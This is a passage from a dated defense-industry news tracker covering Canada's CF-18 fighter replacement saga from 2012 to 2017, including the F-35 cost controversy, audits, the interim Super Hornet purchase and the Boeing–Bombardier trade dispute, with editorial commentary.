property on the jet and already uses L-3 for F/A-18 sustainment, thus not needing the services of Boeing.  October 02/17: Kuwait had been scouted as a potential source of F/A-18s for Canada’s CF-18 successor program, but the Gulf state could not supply their surplus aircraft fast enough. The revelation was made by Canada’s Defense Minister Harjit Sajjan on Sept. 28, and the ministry will now pursue talks with Australia over their surplus stock. However, it remains to be seen whether any of Australia’s F/A-18s have enough service life left in them to serve alongside Canada’s CF-18s until replacements for both begin to arrive in the mid-2020s. The procurement has been made difficult due to the government’s backing of Montreal-based Bombardier in a dispute with the Super Hornet’s manufacturer Boeing, which has resulted in the purchasing of fighters from the source untenable for now. On Sunday, the British government appealed for all parties involved to negotiate a solution to the trade dispute, which has put more than 4,200 jobs at a Bombardier plant in Northern Ireland at risk.  September 14/17: Canada has been approved by the US State Department to purchase up to 18 Boeing F/A-18E/F Super Hornet fighter aircraft. In addition to 10 F/A-18Es and 8 F/A-18Fs, the Trump administration approved the transfer of up to 44 F414-GE-400 engines, associated spares and equipment, as well as weapons including 100 AIM-9X-2 Sidewinder Block II missiles as part of the sale. It is unsure whether Ottawa will proceed with the sale, as a current row with Boeing over Canadian firm Bombardier has the government looking to Australia for second-hand Super Hornets to fill its interim requirement for replacement of its fleet of CF-18s.  September 08/17: Canada is looking to Australia to aid it with its interim fighter requirement, as a dispute between the government and aerospace manufacturer Boeing continues. The row stemmed from a complaint made by Boeing against Canadian firm Bombardier over allegations of illegal subsidies and dumping that was filed in April with the US Department of Commerce. The matter is currently in front of the US International Trade Commission, with Boeing asking for tariffs to be imposed on Bombardier C Series planes sold in the United States. In response, the Canadian government came to Bombardier’s defense, putting its F/A-18 Super Hornet deal with Boeing on hold until the suit is dropped. Now, Ottawa is evaluating the option of buying second-hand F/A-18s from Australia. Meanwhile, ten top Canadian aerospace companies, in a letter to Canadian Prime Minister Justin Trudeau, urged the Liberal leader to abandon the Boeing dispute, arguing that they stand to lose from the government’s unwavering support for Bombardier.  June 9/17: Canada has decided to pull back from its plan to procure 18 F/A-18 Super Hornet fighters as an interim replacement for its CF-18 successor program. Instead, the Liberal government of Justin Trudeau has unveiled a new defense plan which calls for 88 new fighters for the Royal Canadian Air Force – an increase from the previous government’s plan to purchase 65 jets – and to recapitalise the Lockheed Martin CP-140 Aurora anti-submarine warfare and surveillance fleet. The news comes amid a row between the Canadian government, Boeing, and Bombardier, after the US company accused Bombardier of “dumping” its CSeries jet onto the US market.  May 30/17: The Canadian government is continuing to pay into the F-35 Joint Strike Fighter program, with the latest instalment of $30 million quietly paid in April. Having already paid $373 million into the program since 1997, the fees keeps Ottawa at the table as one of nine partners in the fighter jet project for the next year, allowing to compete for billions of dollars worth of contracts associated with the building and maintaining F-35, as well as benefitting from a discount on units for its air force. Canadian PM, Justin Trudeau, had vowed to take Canada out of the F-35 program while on the election campaign trail last year. However, since taking office, the Liberal government has paid the annual fee twice while pursuing an interim procurement of Super Hornets in order to fill the capability gap left by the ditched F-35.  May 22/17: The Canadian government have threatened to pull the plug on its planned acquisition of F/A-18 Super Hornet fighters following an attempt by manufacturer Boeing to have the US government investigate Bombardier’s sale of CSeries jetliners to Delta Airlines. Boeing argued at a hearing in Washington on Thursday that duties should be imposed on Bombardier’s new larger C Series passenger aircraft, insisting it receives Canadian government subsidies that give it an advantage internationally. In response, Canada’s Foreign Affairs Minister Chrystia Freeland issued a statement after the hearing saying that the Canadian government was “reviewing current military procurement that relates to Boeing.” What ever will happen next?  May 16/17: A Canadian senate committee on defense has urged the Canadian government to drop the planned acquisition of F-A/18 fighters from Boeing, describing it as as a “political decision” that fails to serve either the air force or taxpayers. The government announced its plans to purchase 18 Super Hornets as an interim measure following its pulling out of a deal to buy 65 F-35s as a replacement for its ageing CF-188s. Citing a letter from 13 former senior Royal Canadian Air Force officers which argues that the acquisition of such a small fleet – sharing only limited commonality with its current fighters – will be needlessly costly, the senators stated that the government’s “decision not to proceed with the procurement process for a new fighter fleet and purchasing an unnecessary and costly interim capability will leave the taxpayers with a significant burden and [RCAF] with a duplicate support system that will cost billions of dollars in equipment, training, and technical know-how.” The committee recommended that the defence ministry “immediately” begins a contest to select the CF-188’s replacement, with a decision to made by 30 June 2018.  December 14/16: Justin Trudeau has said that the F-35 will be considered in an upcoming competition for new fighter jets. The Canadian PM previously backed out of the F-35 program due to costs, and Canada has now bought 18 Boeing F/A-18 Super Hornets as an interim measure. “It’s an open and transparent competition we’re going to be engaged in and the various aircraft and aircraft producers will have an opportunity to make their best case,” Trudeau told a news conference when asked whether Canada might be more likely to opt for the F-35 if the costs fell.  November 28/16: Canada will purchase 18 Super Hornets from Boeing as an interim solution to its CF-18 fleet replacement. Defense Minister Harjit Sajjan made the announcement adding that Ottawa will also launch a brand new competition for a multi-role fighter. On the interim procurement, Sajjan said the Super Hornets would allow Canada to maintain NATO operational standards.  October 7/16: Canada’s Air Force will request $379 million from the government in order to fund the upgrade of avionics on its CF-18 fighters. Once installed, the modernization will keep the fighters flying until 2025, giving leaders in Ottawa some much needed breathing room on making a decision on the aircraft’s eventual successor. First bought in 1982, almost $2 billion has been spent on upgrading the fighters since 2001. (Values in USD)  September 29/16: The Canadian government is currently assessing data from defense manufacturers for this summer’s request for up-to-date information on options for the replacement of its CF-18 fighters. Specifics wanted by the government were on areas including fighter capabilities and potential economic benefits any sale would bring. In a bid to be selected, Boeing has been citing the work opportunities that would be available to Canadian firms across the country if the federal government were to purchase their F/A-18 Super Hornet, with other competitors coming in the form of France’s Dassault, Sweden’s Saab and the Eurofighter consortium. Data from Lockheed Martin is also being considered, even though Ottawa has vowed not to select its F-35.  September 20/16: With nearly a year in office under his belt, Canadian Prime Minister Justin Trudeau and his cabinet will have to make some tough choices over the next year with analysts warning they could effect popularity and political capital. The biggest question in relation to the defense industry is of course the decision over the replacement of CF-18 fighters following the valiant vow to drop of the F-35 during the election campaign. It’s expected that the Liberals will soon announce whether they intend to break this pledge to launch a new competition for fighter jets, with talk inside military circles believing that Ottawa could announce a sole-source contract.  July 29/16: While Canada’s government continues to flounder on its CF-18 fighter replacement, it still continues to contribute to the F-35 Joint Strike Fighter. Since the Liberal Party’s campaign promise to ditch the F-35 and launch a new replacement competition, they continued paying $33 million into the program. Meanwhile, consultations have taken place with fighter manufacturers which some see as simply giving the Liberals political cover to buy a plane other than the F-35 without holding a competition. If a fair and free competition were to include Lockheed Martin, a fair bet would be on the F-35 winning.  July 12/16: A total of five defense manufacturers have expressed an interest in supplying the replacement to Canada’s CF-18 fighters. Lockheed Martin, Boeing, Eurofighter and Saab all took part in a conference call with Canadian officials last week, with Dassault planning to meet and discuss the matter at the Farnborough International Airshow this week. Lockheed, whose F-35 was dropped by the Canadian government, welcomed the meetings as a first step towards a new competition.  July 8/16: Canadian Defense Minister Harjit Sajjan has called for a return to the drawing board on Canada’s CF-18 replacement by reaching out to fighter manufacturers for consultations this summer. The news comes amid reports that Canada was going to purchase Boeing F/A-18 Super Hornets as a stop gap (or kicking the can down the road) without the new competition promised by the Liberals during the election campaign. However Sajjan refused to commit to a new competition or independent oversight raising concerns that the bold promises made to ditch the F-35 is causing a capability crisis.  May 31/16: A new sense of urgency has been injected into Canada’s CF-18 fighter replacement by Defense Minister Harjit Sajjan, saying that the issue “needs to be dealt with quickly.” Speaking at the CANSEC defence and military trade show in Ottawa last week, Sajjan didn’t forget to remind reporters that the issue was inherited from the previous government while seemingly forgetting that it was the current Prime Minister, Justin Trudeau’s promise to ditch its participation in F-35 procurement in favor of a more affordable aircraft.  June 5/14: Decision, under wraps. Reuters reports from 3 unnamed sources that Canada’s NFPS report recommended sole-sourcing the F-35, but adds that the Conservative Party government is waiting until Parliament is dismissed for the summer before announcing the decision. That’s one way to try and avoid criticism.  The next question becomes how quickly the government signs a contract. If the government buys the jets before the 2015 elections after all (q.v. April 6/14), the F-35 will become an election issue again, and this time it could hurt the Conservatives. That’s Lockheed Martin’s best situation, because high cancellation costs would likely force the next government to keep the contract in place. If the Conservative Party government doesn’t sign a contract, on the other hand, the election issue loses its bite, but the F-35 buy would be at very grave risk if the Liberal and/or NDP parties win. Sources: Reuters, “Exclusive: Canadian review will recommend buying Lockheed F-35 fighter jet – sources”.  April 13/14: NFPS done. The Harper government has accepted the “options analysis” report from its National Fighter Procurement Secretariat (NFPS) panel, after more than 18 months. As noted earlier (q.v. April 6/14), Canada won’t be able to order F-35s until 2015, and probably won’t do so until after the 2015 elections, if they place any orders at all. Sources: Postmedia News, “F-35 decision back in government’s court as air force completes major study”.  April 11/14: Stealth risks. The December 2012 report concerning Canada’s F-35 buy had a lot of cuts, including passages that highlighted ongoing problems with the program.  “But the Citizen has obtained more than a dozen earlier drafts of the report showing defence officials had originally laid out many of the issues surrounding the F-35’s development, and their potential impact on Canada [only to have them removed later].”  Issues that were removed from the Canadian report included fuel consumption that’s 26% higher than the CF-18s, problems with the Helmet-Mounted Display that have been cited in multiple US GAO and US DOT&E publications, and serious software delays involving the fighter’s 8+ million lines of code. That last item was the subject of a March 2014 report from the US GAO. Canada.com, “Final report on F-35 dropped references to fuel, IT problems”.  April 7/14: CF-18 Engines. Magellan Aerospace has been responsible for F404 engine maintenance & repairs for over 30 years, and that isn’t changing. Their latest contract is a C$ 55 million, 1-year award with an option for an additional year. Sources: Magellan Aerospace, “Magellan Aerospace Awarded Engine Maintenance Contract for CF-188 F404”.  April 6/14: Stall. Canada’s “buy profile” for the F-35 has been moved from 2017 to 2018, which means there won’t be a decision before the 2015 elections. That’s a double-edged sword. On the one hand, it gives the Conservative Party plausible deniability to say that it hasn’t made any decisions, which will keep the F-35 from becoming an issue again. On the other hand, the process itself has so alienated the other parties that unless the Conservatives win a majority, the F-35 buy will probably be canceled. Sources: Defense News, “Canada: No F-35 Buys Before 2018”.  Jan 22/14: Rafale. Dassault SVP of NATO affairs Yves Robins is quoted as saying that they’re offering Canada unrestricted transfers of technology if it picks the Rafale, including software source codes for servicing the planes. That’s something Canada won’t get with the F-35, and it’s being touted as a long-term cost savings that will let Canadian firms do more of the required maintenance. They’re also pushing the government to declare a competition.  CBC goes on to show that they don’t really grasp the issues, asking about the Rafale’s ability to operate alongside the USAF. France replies that this worked over Libya, but that isn’t the real question. The question is whether Canada could use its American weapons with the Rafale, without having to buy new weapons or conduct expensive integration and testing programs. In most cases, the answer is no. Sources: CBC News, “Dassault Aviation ramps up CF-18 replacement pitch”.  Jan 15/14: DND’s former assistant deputy minister for procurement, Alan Williams, explains why he thinks the entire review is a sham. The government hasn’t released its requirements for the fighter buy, and hasn’t solicited the full cost and performance data that would be required for an informed comparison. Williams is probably correct in his conclusion, but full price data would only come about as a result of an RFP – which is to say, after a competition is declared. Sources: Embassy magazine, “Feds haven’t changed perspective on F-35: Williams”.  Jan 2/14: Paperwork in. According to documents posted on a federal website on Thursday, the Canadian Forces have already prepared draft reports to the “National Fighter Procurement secretariat” on the price, the technical capabilities and the strategic advantages of the 4 fighter jets considered (F-35A, Eurofighter, Rafale, Super Hornets). Actually, the price isn’t included, except as a rough order of magnitude. That information wasn’t forthcoming from all manufacturers, and even Boeing would likely be quoting an Advanced Super Hornet model that isn’t being bought under its current multi-year Navy contract. A competition would be necessary in order to really know, and the key question from the start has been whether the Conservative government has ever had any genuine interest in a competition.  The RCAF is also reportedly finishing up its “Integrated Mission Risk Assessment,” though the quality of their work has been less than stellar in the past. Source: The Globe and Mail, “Military’s fighter-jet reports to put ball in Ottawa’s court on F-35s”.  2013  EA-18G: key systems  (click to view full)  Dec 10/13: Industrial. The federal government’s Industry Canada department releases a report detailing Canadian contracts to date from the F-35 program, explaining their calculation approach, and estimating future opportunities.  Contracts to date as of summer 2013 amount to C$ 503 million, while total future contracts are estimated at C$ 9.429 billion: 8.261 billion if existing contracts are extended over the scheduled number of fighters (a very dubious proposition, based on order cuts to date), plus another 1.168 billion in identified production & service opportunities. Sources: Canada IC, “Canadian Industrial Participation in the F-35 Joint Strike Fighter Program”.  Nov 7/13: Sub-contractors. One modification shared by Canada and Norway’s F-35As will be drag chutes, which help with landings on short and/or ice-covered runways. Airborner Systems, “Airborne Systems Canada Supports Development of F-35 Drag Chute Program”:  “Airborne Systems is currently providing technical assistance to Lockheed Martin during the F-35 drag chute development. Their experience and expertise have contributed to the drag chute concept development which has led to the baseline design currently being finalized for the F-35A. Airborne Systems plans to continue supporting the drag chute development, flight test, certification and eventual production for the F-35 fleet.”  June 4/13: This headline from the [Parliament] Hill Times sums it all up, which is good, because the rest is subscription-only: “Prime Minister Harper, Cabinet to decide on F-35 fighter jets without advice from Public Works Procurement Secretariat, say Public Works officials.”  Saab’s decision looks very rational if this is true. Hill Times.  May 31/13: No Saab. “Senior government officials” confirm to Quebecor’s QMI news agency that Saab has decided not to participate in Public Works Canada’s market analysis phase.  That doesn’t keep Saab from entering a competitive process later, if there is one. Saab has told QMI that they will re-evaluate the decision once there’s a clear way forward in Canada. QMI, via Sun News.  April 28/13: Expected losses. Canada’s Postmedia News reports:  “In December 2011, the Defence Department’s research arm, Defence Research and Development Canada, published a report in which it said “that the probability of having 63 or more (F-35s) remaining at this time (when the last one is delivered) is approximately 54 per cent.”  Canada plans to order 65 F-35As, for delivery from 2017-2022. Their expectation is 7-11 destroyed aircraft over the fleet’s expected 42-year lifespan, with losses fitting the standard fighter pattern and being heavier in the early years. So they’re claculating a 46% chance that 2 or more F-35As are crashed or lost in the first 6 years. Not unusual, or unreasonable.  Where the math becomes more questionable is the expectation that Canada can order 65 F-35As plus accompanying spares, training equipment, etc. with its budgeted funds, while placing orders in the program’s early production years from 2014-2020.  March 3/13: RFI. Canada’s issues its official RFI/ “Industry Engagement Request”:  “Five identified companies with aircraft in production—The Boeing Company, Dassault Aviation, EADS Eurofighter, Lockheed Martin and Saab Group—were previously sent a draft of the questionnaire on January 25, 2013, for comment. The National Fighter Procurement Secretariat received input from all five companies and their feedback is reflected in the final questionnaire, which the companies are being asked to complete within six weeks. A second questionnaire to obtain information on costs will be sent in draft form to the five companies for comment at a later date.”  See: Release | Final Industry Engagement Request: Capability, Production and Supportability Information Questionnaire.  Feb 27/13: Lifetime costs. Media traction for the Super Hornet, as Boeing has an opportunity to publicly tout their Super Hornet in a CBC TV report, which feature Boeing’s (Canadian) lead Super Hornet test pilot. The report also brings sustainment costs into Canada’s public debate for the first time, claiming $23 billion in lifetime savings from a Super Hornet buy:  “[Half] sounded too good to be true – so CBC News dug into Boeing’s figures to see how credible they are. According to the GAO, the Super Hornet actually costs the U.S. Navy $15,346 an hour to fly. It sounds like a lot – until you see that the U.S. Air Force’s official “target” for operating the F-35 is $31,900 an hour. The GAO says it’s a little more – closer to $32,500. CBC also asked Lockheed Martin to say if it had any quarrel with these numbers – and it did not…. Super Hornets, which Boeing says are 25 per cent cheaper to run than Canada’s “legacy” CF-18s.”  At this late point in the CF-18’s life, that’s certainly possible. At Lockheed Martin, they won’t publicly argue with the GAO, but they’re hopeful that its estimate will drop as the jet gains experience. At the same time, F-35 program manager Lt. Gen Bogdan has publicly pegged F-35 support projections as “just too high”, and vowed to bring them down.  With that said, the math using KPMG’s F-35 estimate as a starting point, and the GAO’s figures as the relative baselines, is that a Super Hornet buy might save Canada around $19.53 billion in ownership costs to 2042 ($37 – 17.47 billion operations). It will actually be less than that, because upgrades should be assumed to factor in at the same cost. So let’s say $15 billion. CBC also mistakenly assumes that an F/A-18E/F purchase price of around $60 million would also save half of the F-35 program’s $9 billion maximum purchase price, but it wouldn’t. Rather, it would allow Canada to buy all 65 fighters that the RCAF says are the minimum required, including 12 EA-18G electronic attack aircraft, instead of buying fewer than 65 F-35As. Of course, even $15 billion is a large enough figure to make a dent in the public debate. CBC article | CBC video: The Super Hornet.  Feb 14/13: More estimates. Canada’s government orders another cost estimate connected to their fighter replacement program:  “In December 2012, KPMG presented the Next Generation Fighter Capability: Life Cycle Cost Framework to the National Fighter Procurement Secretariat—a life-cycle cost framework for the F-35 program. The purpose of this new review is to ensure that the framework is appropriately applied by National Defence and that the cost estimates in the upcoming 2013 Annual Update are sound…. The notice of proposed procurement about the review is posted on the Government of Canada’s tendering system hosted on MERX. The contract is expected to be awarded in the coming weeks.”  Feb 13/13: Library of Parliament Report. Canada’s Library of Parliament issues “Estimating the Cost of Replacing Canada’s Fighter Jets,” which chronicles the various cost estimates submitted to Parliament and in major published reports. One interesting change is noted by The Globe and Mail:  “The amount National Defence has set aside for weapons has been cut to just $52-million for the estimated 30-year operational life of the jets, compared with estimates in two previous reports of $270-million and $300-million.”  The key driver is a December 2012 Public Works report that said existing weapons in Canadian stocks wouldn’t be adequate over the fighter’s full 40-year life cycle. Which is reasonable. Compatibility with American weapons saves money in the near-term, but doesn’t change the need to buy items over the long term. Paveway laser-guided bombs last a long time, but existing AIM-120 missiles will need upgrades at the very least, and new weapons will become necessary over the next 40 years. Hence the statement that “over the life cycle of the replacement fleet, the acquisition of newer weapons will be considered and funded as separate projects.”  So, on the one hand it’s reasonable. On the other hand, weapons are a reasonable part of a fighter fleet’s cost, and the sudden change in terms is an obvious way to lower the published cost by a quarter billion dollars. Sources: Library of Parliament, Estimating the Cost of Replacing Canada’s Fighter Jets”, Globe and Mail, “National Defence to buy fewer bombs if F-35 selected as new air force fighter”.  Feb 12/13: Whitewashed report? Comparing a Nov 1/12 copy of the draft Parliamentary Public Accounts committee report with the final November 2013 product shows the removal of important information that was shared during Spring 2011 hearings. Opposition members are incensed.  CP chronicles omissions including references to the F-35’s selection without competition, a caveat that the price tag per aircraft could almost double from the claimed USD $75 million to $138 million, and passages critical of the F-35’s industrial benefits program. More explosively, it dropped Auditor General Michael Ferguson’s testimony that the Conservative Party government had seen the full cost of the plan, as opposed to the final report that blamed DND for omissions. Ferguson’s stated concern that F-35 ownership costs could create problems for future defense budgets was also edited out, along with a passage of cost-related testimony from Parliamentary Budget Officer Kevin Page, who has an unfriendly relationship with the current government. Sources: CBC News, “F-35 committee report strategically edited, draft suggests”.  Feb 11/13: Postmedia obtains documents from Canada’s 2005-2006 look at its fighter options, and discovers what DND thought of each option. Eurofighter: “Remarkable” sensor fusion and fine cockpit, a powerful aircraft with effective air-to-air capabilities and reduced RCS, though it isn’t a full stealth aircraft. Might even be considered a borderline “5th generation” plane. The report worried about interoperability, and it also talked more bluntly about buying aircraft from anyone other than the USA. Relayed contents don’t mention Eurofighter’s low variety of integrated weapons and sensors, which is still an issue in 2013. F/A-18 Super Hornet: Credible option with a lot of integrated weapons and bolt-on sensors, seen as a smaller shift for Canadian CF-18 maintainers. It seems to be the default backup for many nations that were considering the F-35 – and since then, the USN and Australia have proven them right. On the other hand, “It makes several compromises between approach speed, weight and structure.” The EA-18G electronic warfare option pursued by Australia is not reported, and seems not to have been mentioned. JAS-39 Gripen: A “fairly stealthy” platform due to its small size, design, and use of radar-absorbing materials, but not a full stealth aircraft. They also liked its low maintenance costs. Its system for emergency landings and landings on short airfields is different from Canada’s, which would require changes. Doesn’t seem to have discussed the new JAS-39E/F, but then, the design was unclear at that time. It’s a lot clearer now. Rafale: Seen a fast and maneuverable, with above-average range that’s a plus for Canada. Weren’t so impressed with the cockpit, and wondered about the Snecma M88 engine’s cold-weather performance. Relayed report contents didn’t focus on Rafale’s unique weapon incompatibilities with the American gear that fills Canada’s existing stores, and which can be diverted from US stocks for emergencies and joint efforts. That’s a big omission, but the relayed contents also missed Rafale’s strong SPECTRA electronic protection system, which proved itself over Libya 5 years later. F-35: Saw its stealth features as unique. Flip side of this is that security at Canadian bases would become more elaborate and expensive. Worried that “many of the capabilities and performance features (of the F-35) such as signature, payload, speed, range and manoeuvrability, could change due to the U.S. focus on keeping the costs down.” Which is indeed happening. On the other side of the coin, F-35 sensors and sensor fusion are uniquely excellent, but that isn’t in the relayed report contents. Canada’s competitor conclusions  Jan 29/13: Bridge buy? Canada’s Hill Times reports that Canada is considering a short-term bridging fighter buy. The key piece of information comes from the letter announcing the Industry Engagement Request, which also asked respondents to talk about options in to the 2020-2030 frame, and then options beyond 2030:  “The evaluation of options will review and assess all available fighter aircraft and will result in a comprehensive report with the best available information on the capabilities, costs, and risks of each option, including bridging and fleet options…”  That would put them in the same boat as Australia’s RAAF, which also flies upgraded F/A-18 Hornets. They’ve already received 12 F/A-18F Super Hornet fighters as a bridge, plus 12 more that will be converted to EA-18G electronic warfare and air defense suppression planes. Australia is finding that F-35 delays are creating the need for a longer bridge, and the RAAF could end up with a 50/50 long term split between the Super Hornet family and the F-35. In practice, a similar logic is likely for Canada: every “bridging” fighter bought is 1 fighter subtracted from their eventual F-35 order. Hill Times | CDFAI.  2012  F-35A, eh?  (click to view full)  Dec 16-17/12: Trust busted? An article in the Hill Times magazine quotes former DND assistant deputy minister for procurement Alan Williams, who says that “We know that the fiasco certainly started by the bureaucrats hijacking the process,” while ministers simply went along and didn’t ask questions.  The British TV hit “Yes, Minister” was based on that very premise, but this instance doesn’t seem to have the same comic value. Parliamentary Budget Officer Kevin Page has had a publicly hostile relationship with the Conservative Party government, and he has been very critical of the CF-35 decision process (q.v. May 3/12), but it still matters when he says things like:  “Trust is broken. I don’t think you get, in terms of a reset, that trust back until you have that debate in front of Parliament…. From my view, the (F-35) process that we had up to date, certainly our experience in 2010-11, was a complete failure, and, I think, a lack of leadership both politically and I think by public servants as well…. There were numbers that existed at DND (Department of National Defence) that were much higher than what was presented to Parliament. Canadians saw the lower set of numbers… So in that sense, they were misled”  Dec 7/12: KPMG’s cost estimate. The precise figure for KPMG’s cost estimate is reported to be C$ 45.802 billion, based on an in-service life of 42 years. Current F-35 industrial participants are becoming worried, and a soon-to-be released companion study will take a second look at real figures for industrial benefits. Those estimates have already been quietly scaled back from C$ 12 billion to C$ 9.85 billion, and may drop further. The government defends their 20-year cost estimates, and they do have a point. Former treasury board official Michelle d’Auray: “Going beyond 20 years is considered too high-risk to ensure that the value in contracting with industry would be sustained, or the costs would be going beyond the 20-year mark… So that, for us, is considered to be reasonable, and as the deputy minister of National Defence indicated, all of the submissions to date have been presented to the Treasury Board have used a 20-year cost estimate.” Periods over 20 years are chancy for contracts, and wide potential variations in core inputs like fuel prices makes those estimates little better than guesses. Even guesses can still be of value, but only if they’re comparing components like fuel costs with other alternatives, using the same baseline pricing assumptions. See: Canadian Press | CTV | The Globe and Mail | National Post. KPMG’s F-35A lifetime cost estimate  Dec 6/12: Not cancelled. Postmedia, which usually has good sources within the government, says Canada will pull out of the Joint Strike Fighter program. It turns out not to be true. Canada is about to analyze its options, and as noted earlier, Public Works has thrown out the specifications straightjacket. Early reports indicate that Boeing (Super Hornet) and Eurofighter have been approached for detailed information, with the possibility of broadening the invitation.  The other revelation in their article is that KPMG is done with their audit, which exceeds even the $29 billion maximum estimate from previous studies. Reports are pegging the potential 36-year lifecycle cost at C$ 40+ billion, though that involves a longer service life than previous estimates, and includes fuel costs. CBC | The Globe and Mail | National Post | Flight International.  Nov 30/12: Stealth. Gen. Tom Lawson, a former fighter pilot and Canada’s new chief of defence staff, tells a Parliamentary committee that the F-35 isn’t the only aircraft able to meet stealth requirements. The F-35 is better, he says, but when asked by Liberal defence critic John McKay whether there is only 1 airplane that can meet the Canadian military’s requirements in this area, Lawson said “no.” He later added, correctly, that “Fourth and fifth generation is not a very helpful way of looking at that aircraft.”  Canada’s exact “low observability” requirements, such as they are, have never been made public. It is true that even 4+ generation fighters like the Eurofighter, Gripen, Rafale, and Super Hornet will all have significantly smaller radar cross-sections that the current CF-18 fleet, even though several of them are bigger aircraft. The F-35 will be smaller again. See above for a more detailed discussion of “stealth.” CBC.  Nov 22/12: 1st cracks. Public Works Minister Rona Ambrose tells Canada’s House of Commons that Canada’s “review of options will not be constrained by the previous statement of requirements.” That seems minor, but it isn’t. DND’s requirements had been crafted to make the F-35 the only available choice, per the department’s standard pattern over the last 7-8 years. Breaking that lock opens up other options for consideration.  A serious analysis hasn’t been performed yet, but this statement is a sign that it could start. Much will depend on the exact people chosen to do the analyzing. CBC | CDFAI | iPolitics.ca.  Oct 22/12: New RCAF chief Lt.-Gen. Yvan Blondin tells the Canadian Press that DND hasn’t really begun looking at other fighter options beyond the F-35. A thorough examination of other possible aircraft would require a more detailed study by military planners, and he said that the order hasn’t been given. Blondin was asked twice during the interview whether other aircraft had been considered, and he replied: “No.”  That examination was central to the government’s promises after the negative 2011 Auditor General Report, so the government replied by saying that “work continues on the evaluation of options… The options analysis is a full evaluation of choices, not simply a refresh of the work that was done before.” None of which actually means that a serious evaluation is underway.  DID’s verdict: Lt-Gen. Blondin told the truth, and the government is being dishonest. There isn’t a serious analysis taking place. To date, any analysis has been a hasty and less-than-professional justification for a decision that’s already made. There is no sign yet that this pattern is changing. Canadian Press | Canada DND.  Sept 28/12. Requirements. Canada’s CBC obtains a redacted copy of Canada’s official Statement of Requirements for its next-generation fighter, and makes it available for download. As they explain:  “The Statement of Operational Requirements for Canada’s next jet fighter was produced by the Royal Canadian Air Force Directorate of Air Requirements in June, 2010. It wasn’t submitted to Canada’s Public Works department until after the government announced its decision to purchase 65 F35 Joint Strike Fighter aircraft in July, 2010. Normally Public Works is responsible for procuring hardware for the military after they have submitted their statement of requirements. [CBC Program} The Fifth Estate obtained this highly redacted copy through an Access to Information request.”  Sept 7/12: Auditor hired. KPMG has been given a $643,535 to review/audit projections for the CF-35. Their offer was 1 of 2 bids reviewed by Treasury Board and Public Works and Government Services Canada. CBC.  Aug 9/12: Delayed audit. Almost 2 months after its self-imposed deadline, Public Works quietly re-issued a tender, asking for an audit firm to come forward and take on the politically explosive task of verifying the F-35 figures provided by DND. The minister’s office tells Postmedia that the original tender was the problem, as it didn’t give accounting firms enough flexibility to sub-contract portions of the project. This might be important, in order to gain in-depth expertise in defense procurement.  The new tender doesn’t close until the end of August, which means the review might not even arrive in 2012. Postmedia.  May 24/12: Industrial. Lockheed Martin vice-president Steve O’Bryan talks to Canada’s Postmedia News about the F-35. They’re working on the understanding that Canada will place a production order in FY 2014  “Right now we will honour all existing contracts that we have. After that, all F-35 work will be directed into countries that are buying the airplane… What we have is the official statement out of the government and we’re working with the government. They’re committed to the F-35, they’ve selected it, and we haven’t had any change in that official position.”  That commitment has underpinned the JSF program’s work with Canadian firms, which the National Post reports as C$ 435 million to 66 Canadian companies since 1997. Even if those partnerships stop, however, Canadian procurement policies will require industrial offsets from the winner worth 100% of purchase value. The industrial question for the F-35 involves the perceived long term technical and financial value of their work to Canada’s aerospace industry, vs. the offsets their competitors might offer. That makes for a complex evaluation, but it’s often a component of big-ticket defense competitions around the world. Postmedia.  May 15/12: Gone Rogue? Following a round of Parliamentary hearings, in which senior DND bureaucrats are grilled about their CF-35 program estimates and conduct, NDP MP Malcolm Allen goes so far as to say that:  “This is a department that’s really gone rogue… [the minister] has totally lost control of that department… There’s no faith in this department anymore. None whatsoever.”  Allen is the Official Opposition party’s shadow minister for Agriculture, but he’s involved in the F-35 issue through his role on Parliament’s Public Accounts Committee. It’s expected that opposition members will oppose the government of the day, and the NDP’s socialism has always been coupled with an aversion to the military. With that said, for an MP in his position to level that kind of criticism at a government department, and use words like “no faith” and “out of control,” is a very rare thing. No political party rules forever, and if DND is seen as institutionally untrustworthy and dishonest by Canada’s other major parties, they will have created very dire future for themselves. Postmedia.  May 3/12: Was DND honest? Parliamentary Budget Officer Kevin Page tells its Public Accounts Committee that the government withheld key information about the full costs of the F-35 in 2011, against explicit requests, in an effort to present a lower price tag to Canadians.  “Over the past few weeks, it has become clear that the Department of National Defence provided the PBO with figures that did not include all operating costs… The PBO understood that it had been provided with full life-cycle costs from DND as required… It seems difficult to understand how there could have been any confusion as to whether or not the PBO included operating costs within its estimate.”  DND officials say they understood that operations and maintenance costs should be excluded, but Page drew attention to the November 2010 committee motion that prompted PBO’s report. It specifically called for the release of all documents that outline life-cycle costs. Postmedia.  April 3/12: Auditor General report. The office of the Auditor General of Canada delivers its 2012 Spring report, including a chapter covering Canada’s process for selecting and then budgeting for the F-35. Based on previous stories concerning leaked drafts, the report has been softened and made more vague. On the one hand, it describes how the F-35 program itself was built to circumvent normal procedures in participating governments, and make any subsequent competitions difficult to execute fairly. This is true, and beyond Canada’s influence. On the other hand, the report describes a number of instances where Canada’s DND has deliberately misled Parliament, a situation that past OAG reports have now detailed in almost every major Canadian defense procurement program over the last 5 years. Beyond deliberate deceptions, DND also made repeated assertions about both the F-35’s costs and its air needs that were not backed by any substantive analysis. Public Works Canada, which is supposed to serve in an independent oversight role, utterly failed in this duty, and was often hampered by DND’s refusal to provide information when it did attempt to act. In response, the government “accepts the Auditor General’s recommendation and conclusions,” and commits to a number of steps. None of them imperil the F-35 program yet, or punish past misconduct, but the government is leaving themselves an official out. The biggest apparent commitment is a freezing of funding at C$ 9 billion procurement and C$ 7 billion for support, followed by a statement from Associate Minister of National Defence Fantino that they “will acquire the F-35 only if and when we can operate within that budget.” This is less of a concession than it seems. First, it reiterates stated policy. Second, it freezes only the purchase cost. Support costs are even more likely to see serious cost inflation, but are the easiest to falsely assume away in advance. If they double to C$ 14 billion in real costs, Canada would have no option but to pay. Finally, it offers no other fighter options, or even preparation to make another fighter option feasible. Canada’s DND will “continue to evaluate options,” but the C$ 16 billion is still described as an F-35 acquisition budget, not a fighter acquisition budget. Likewise, the program’s new coordinating Secretariat in Public Works Canada is the F-35 Secretariat, though the effect clearly shifts authority out of the Department of National Defence, and away from Minister for National Defence Peter Mackay. Annual updates to Parliament have now been promised, to be delivered within 60 days of receiving revised costing forecasts from the USA’s F-35 program. The question is whether these Parliamentary reports will continue to omit pertinent information that is not mentioned by the US office, or will otherwise improve the past record of incomplete and misleading reports. It’s more encouraging that Canada’s Treasury Board Secretariat will have to commission an independent review of DND’s acquisition and sustainment project assumptions and potential F-35 costs, and make that public, before a purchase contract is signed. OAG 2012 Spring Report. | Canada PWGSC/DND response | Canada’s CBC: video of OAG presentation. OAG criticizes the program  April 